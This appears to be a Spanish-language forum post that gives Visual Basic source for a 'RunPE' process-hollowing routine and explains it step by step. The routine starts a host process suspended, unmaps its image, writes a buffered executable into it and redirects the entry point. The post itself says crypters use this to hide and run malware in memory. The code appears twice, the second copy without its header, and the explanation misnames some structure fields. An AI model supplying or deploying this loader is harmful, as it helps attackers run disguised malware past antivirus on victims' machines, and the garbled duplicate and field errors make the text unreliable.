Código:
Public Sub Injec(ByVal sHost As String, ByRef bvBuff() As Byte, parameter As String)
Dim i As Long
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT
Si.cb = Len(Si)
RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248
CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0
For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i
Ctx.ContextFlags = CONTEXT_FULL
CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
CallAPI "kernel32", "ResumeThread", Pi.hThread
End Sub
Dim i As Long
Dim Pidh As IMAGE_DOS_HEADER
Dim Pinh As IMAGE_NT_HEADERS
Dim Pish As IMAGE_SECTION_HEADER
Dim Si As STARTUPINFO
Dim Pi As PROCESS_INFORMATION
Dim Ctx As CONTEXT
Si.cb = Len(Si)
RtlMoveMemory Pidh, bvBuff(0), 64
RtlMoveMemory Pinh, bvBuff(Pidh.e_lfanew), 248
CreateProcessA sHost, " " & parameter, 0, 0, False, CREATE_SUSPENDED, 0, 0, Si, Pi
CallAPI "ntdll", "NtUnmapViewOfSection", Pi.hProcess, Pinh.OptionalHeader.ImageBase
CallAPI "kernel32", "VirtualAllocEx", Pi.hProcess, Pinh.OptionalHeader.ImageBase, Pinh.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase, bvBuff(0), Pinh.OptionalHeader.SizeOfHeaders, 0
For i = 0 To Pinh.FileHeader.NumberOfSections - 1
RtlMoveMemory Pish, bvBuff(Pidh.e_lfanew + 248 + 40 * i), Len(Pish)
WriteProcessMemory Pi.hProcess, ByVal Pinh.OptionalHeader.ImageBase + Pish.VirtualAddress, bvBuff(Pish.PointerToRawData), Pish.SizeOfRawData, 0
Next i
Ctx.ContextFlags = CONTEXT_FULL
CallAPI "kernel32", "GetThreadContext", Pi.hThread, VarPtr(Ctx)
WriteProcessMemory Pi.hProcess, ByVal Ctx.Ebx + 8, Pinh.OptionalHeader.ImageBase, 4, 0
Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
CallAPI "kernel32", "SetThreadContext", Pi.hThread, VarPtr(Ctx)
CallAPI "kernel32", "ResumeThread", Pi.hThread
End Sub
Que es un RunPE?
El famoso RunPE es una técnica la cual permite ejecutar archivos ("on the fly" - Karcrack), es decir sin necesidad de que el archivo ocupe tamaño físico, esto se hace porque el archivo está plasmado en un buffer en memoria. Esta técnica es usada en malware generalmente en Cifradores, los cuales tienen en su cuerpo el archivo cifrado, luego en memoria lo descifran y lo ejecutan. (The Swash)
Como funciona un RunPE?
Primero de todo se inicializa el tamaño de la estructura Si que sera igual al tamaño total de la propia estructura PROCESS_INFORMATION. Necesitamos los datos contenidos en la cabecera IMAGE_DOS_HEADER e IMAGE_NT_HEADERS para obtenerlos usamos la API RtlMoveMemory. Para obtener la cabecera IMAGE_DOS_HEADER rellenando la estructura pidh copiamos los primeros 64 bytes del array de bytes que contiene el ejecutable que hay que ejecutar en memoria on the fly.Para obtener la cabecera IMAGE_NT_HEADERS copiamos los primeros 248 bytes partiendo del offset contenido en el campo e_lfanew de la estructura Pidh. (e_lfanew contiene el offset que indica el comienzo de la cabecera IMAGE_NT_HEADERS). Ya hemos obtenido los datos necesarios de dichas cabeceras ahora estan contenidas en las estructuras pidh y pinh. Creamos un proceso con el attributo de suspendido y facilitamos las estructuras si y pi que se rellenaran con los datos del proceso suspendido. Desmapeamos el proceso suspendido que hemos creado a partir del ImageBase Con la API VirtualAllocEx hacemos espacio en el proceso suspendido a partir del ImageBase y del tamaño indicado por el campo SizeOfImage de la estructura pinh que indica el tamaño total que tendrá dicho ejecutable en memoria. Escribimos en el proceso suspendido a partir del ImageBase la cabecera para ello indicamos el array de bytes que contiene el ejecutable y proporcionamos el campo SizeOfHeaders que indica el tamaño de dicha cabecera. Escribimos sección a sección al proceso suspendido, para ello creamos un bucle for que partiendo de zero y hasta el tamaño indicado por el campo NumberOfsections copiara cada sección en su virtualadress correspondiente.El virtualdress es una direccion virtual relativa por ello es un desplzamiento partiendo del imagebase del proceso para onbtener la direccion absoluta sumamos el desplzamiento al imagebase. Obtenemos el contexto del proceso suspendido es decir el estado de los registros y demas del proceso Ahora debemos cambiar el imagebase que esta contenido en la estructura del PEB por el nuevo ImageBase del proceso por ello proporcionamos como destino ctx.ebx+8 (ctx.ebx+8 apunta al campo sizeofimage del peb en la creacion del proceso) como origen de los datos proporcionamos el imagebase de la estructura pinh. Ahora debemos crear un hilo de ejecución que parta del Entrypoint del nuevo proceso por ello el registro EAX apuntara al entrypoint del nuevo proceso. Establecemos el nuevo contexto del proceso y con la API ResumeThread iniciamos el hilo de ejecucion.